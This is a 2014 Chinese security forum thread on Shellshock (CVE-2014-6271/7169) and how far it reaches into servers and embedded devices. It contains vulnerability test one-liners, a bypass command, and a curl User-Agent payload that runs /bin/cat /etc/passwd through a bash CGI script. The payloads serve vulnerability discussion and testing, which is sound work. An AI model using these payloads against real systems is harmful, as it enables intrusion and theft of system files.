-
-
[讨论]CVE-2014-6271/CVE-2014-7169(Bash bug/Shellshock) 的利用方式和影响范围讨论
-
发表于: 2014-9-26 08:44
-
今天看到 CVE-2014-6271 着实是兴奋了一把，bash的利用门槛比OpenSSH低多了。顺手试了下手边的iOS/Android/OpenWrt通通中招
测试命令：
第一行显示vulnerable说明存在漏洞。
更新CVE-2014-7169，修复的系统依然存在绕过的可能：
会生成一个echo文件，包含 bash -c 的执行结果
(AWS上早上更新的bash-4.1.2-15.19.amzn1.x86_64还有问题，不过目前bash-4.1.2-15.21.amzn1.x86_64已经修复了)
这是两篇相关的利用代码介绍：
CVE-2014-6271: BASH LETS YOU DO BAD THINGS. (SHELLSHOCK)
乌云：CVE-2014-6271资料汇总
上面那篇解释的比较清楚，假设有个使用bash的CGI路径为 http://192.168.0.1/poc.cgi：
于是可以这样读取文件：
这是乌云关于漏洞影响的说明：
另外一篇文章还提到关于DHCP的，但没有搜到更进一步的资料：
不过实际在家里的路由上测试，uhttpd下bash的脚本无法得到正确结果(返回The CGI process did not produce any response，换成sh确可以得到输出)
。而看了几个app使用的内嵌HttpServer，大多调用的是busybox。于是想要和大家讨论下漏洞在移动设备上的影响
更新：看来嵌入式也并非无法使用。Twitter上有人提到了"A Wireless Hart network manager from Dust"的问题：
也有人提到有些嵌入式厂家将sh链接到了bash，而不是busybox：
https://twitter.com/dozykraut/status/515074565199118336
测试命令：
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"第一行显示vulnerable说明存在漏洞。
更新CVE-2014-7169，修复的系统依然存在绕过的可能：
env X='() { (a)=>\' bash -c "echo date"; cat echo会生成一个echo文件，包含 bash -c 的执行结果
(AWS上早上更新的bash-4.1.2-15.19.amzn1.x86_64还有问题，不过目前bash-4.1.2-15.21.amzn1.x86_64已经修复了)
这是两篇相关的利用代码介绍：
CVE-2014-6271: BASH LETS YOU DO BAD THINGS. (SHELLSHOCK)
乌云：CVE-2014-6271资料汇总
上面那篇解释的比较清楚，假设有个使用bash的CGI路径为 http://192.168.0.1/poc.cgi：
#!/bin/bash echo "Content-type: text/html" echo "" echo '<html>' echo '<head>' echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">' echo '<title>PoC</title>' echo '</head>' echo '<body>' echo '<pre>' /usr/bin/env echo '</pre>' echo '</body>' echo '</html>' exit 0
于是可以这样读取文件：
curl -A "() { foo;};echo;/bin/cat /etc/passwd" http://192.168.0.1/poc.cgi这是乌云关于漏洞影响的说明：
在sshd配置中使用了ForceCommand用以限制远程用户执行命令，这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况，OpenSSH通常用法没有问题。
Apache服务器使用mod_cgi或者mod_cgid，如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen，Python中使用os.system/os.popen，PHP中使用system/exec(CGI模式)和Perl中使用open/system的情况都会受此漏洞影响。
PHP脚本执行在mod_php不会受影响。 DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。
任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。
另外一篇文章还提到关于DHCP的，但没有搜到更进一步的资料：
Talked with @loganattwood OOB about timing attacks against DHCP lease expiry & passing shellcode via DHCP options. Nice privilege escalation scenario.
不过实际在家里的路由上测试，uhttpd下bash的脚本无法得到正确结果(返回The CGI process did not produce any response，换成sh确可以得到输出)
。而看了几个app使用的内嵌HttpServer，大多调用的是busybox。于是想要和大家讨论下漏洞在移动设备上的影响更新：看来嵌入式也并非无法使用。Twitter上有人提到了"A Wireless Hart network manager from Dust"的问题：
也有人提到有些嵌入式厂家将sh链接到了bash，而不是busybox：
https://twitter.com/dozykraut/status/515074565199118336
[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
确实。感觉服务器上没有加载 apache mod_cgi 就问题不大，mod_php不受影响。而嵌入式系统上，大部分使用busybox，也不奏效(OpenWrt默认的luci是lua，而写个bash脚本又跑不起来...)
目前就想看看那个DHCP clients怎么回事 ps: 就CVE-2014-7169的情况看，目前大部分修复了的也可以绕过。下面这个依然能够执行： env X='() { (a)=>\' bash -c "echo ls /"; cat echo
|
|
|
|
